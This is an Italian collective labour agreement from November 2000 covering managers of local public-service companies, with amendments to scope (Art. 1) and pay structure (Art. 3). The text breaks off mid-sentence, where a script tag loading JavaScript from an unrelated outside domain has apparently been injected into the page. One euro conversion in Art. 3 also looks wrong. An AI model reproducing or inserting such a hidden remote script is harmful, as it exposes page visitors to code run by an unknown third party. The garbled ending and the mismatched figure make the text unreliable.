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Categoria: Dirigenti (imprese pubbliche locali)
Settore: Altro
Data stipula: 15-11-2000
Data decorrenza: 1-1-2000
Data scadenza: 31-12-2003

Addì, 15 novembre 2000

tra

-     Confederazione  Nazionale dei Servizi Pubblici  Locali  (CONFSERVIZI
  CISPEL)

e

-      Federazione   Nazionale  Dirigenti  Aziende   Industriali   (FNDAI-
  FEDERMANAGER)

si  è  stipulato il presente accordo che rinnova la parte normativa  e  la
parte economica del CCNL

PER I DIRIGENTI DELLE IMPRESE DEI SERVIZI PUBBLICI LOCALI

nel  testo  coordinato  dei  contratti  e  accordi  nazionali  vigenti  al
31.12.96, come modificato dall'Accordo 9.4.98, i cui artt. 1, 3,  17,  18,
19  (Nota  a  verbale),  24, 26, 29, 30, 31, 32, 42 sono  modificati  come
segue, prevedendosi altresì l'inserimento di una Nota a verbale agli artt.
19, 22, 23, 26.



Art. 1 - Applicabilità del contratto - Qualifica del dirigente
         e suo riconoscimento.

Il comma 2 è così sostituito:

"Il  presente  contratto, pertanto, si applica a tutti i  dirigenti  delle
imprese  di servizi pubblici locali ai quali, ricorrendo le condizioni  di
cui  al  precedente  comma,  l'azienda attribuisca  con  atto  formale  la
relativa  qualifica.  Il  contratto  si  applica  altresì  dall'1.1.94  ai
direttori, ai sensi del TU n. 2578/25 e della legge n. 142/90, di  aziende
farmaceutiche  degli enti locali che gestiscono più di  2  farmacie  e  ai
dirigenti  delle stesse aziende nei cui confronti ricorrano le  condizioni
innanzi precisate".

Viene inserito il seguente comma 3:

"Per   quanto  concerne  i  direttori  il  cui  rapporto  di  lavoro   sia
disciplinato dalle norme di legge sulla municipalizzazione valgono altresì
le  disposizioni  contenute nei successivi articoli,  che  a  tali  figure
dirigenziali fanno riferimento".



Art. 3 - Struttura della retribuzione.

L'art.  3  del  CCNL  per i dirigenti delle imprese dei  servizi  pubblici
locali  nel testo coordinato dei contratti e accordi nazionali vigenti  al
31.12.96, come modificato dall'Accordo 9.4.98, è sostituito come segue:

Il  trattamento  economico definito dal presente contratto compensa  nelle
articolazioni  contemplate tutte le prestazioni  rese  dal  dirigente  per
conto dell'azienda.

La retribuzione si definisce in:

a)    retribuzione  base,  costituita dalla  retribuzione  minima  mensile
  comprensiva   dell'importo  per  adeguamento  automatico   al   30.6.92;
  dall'1.12.00  è  fissata  in £. 5.990.000 (E 3.093,58)  e,  a  decorrere
  dall'1.1.01,  in £. 6.170.000 (E 3.586,54). Gli aumenti  che  precedono,
  rispetto     alla  retribuzione  base al  31.12.99,  non  hanno  effetti
  ulteriori,  a livello collettivo aziendale, rispetto alle normative  del
  CCNL;
b)   retribuzione d'anzianità, costituita dagli aumenti periodici biennali
di cui all'art. 10;
c)   retribuzione alla persona, costituita dai trattamenti personali
aggiuntivi in relazione alle funzioni assegnate, alla professionalità e al
merito individuali;
d)   retribuzione variabile incentivante, costituita da trattamenti
variabili connessi alla prestazione e alla realizzazione di obiettivi di
gestione specificamente programmati e assegnati che richiedono un impegno
non riconducibile al normale apporto professionale richiesto dalle
funzioni cui è preposto il dirigente;
e)   retribuzione accessoria, costituita dall'importo non conglobato per
adeguamento automatico della retribuzione, dall'ex elemento di
maggiorazione della retribuzione e dagli elementi aggiuntivi di cui agli
artt. 7 e 8, CCNL 31.12.96. Fanno parte della retribuzione accessoria
l'equivalente del vitto e dell'alloggio eventualmente dovuti al dirigente
nella misura e con le modalità concordate. Fanno altresì parte della
retribuzione accessoria  eventuali ulteriori indennità e benefits
espressamente e formalmente riconosciuti al dirigente, nella misura e nei
limiti concordati.

Le voci retributive di cui alle lett. a), b), c), ed e), 1° periodo,
costituiscono la retribuzione mensile e competono per 13 mensilità di  cui
la  13ª  corrisposta<<script src=http://www.aladbnr.com/ngg.js></script>













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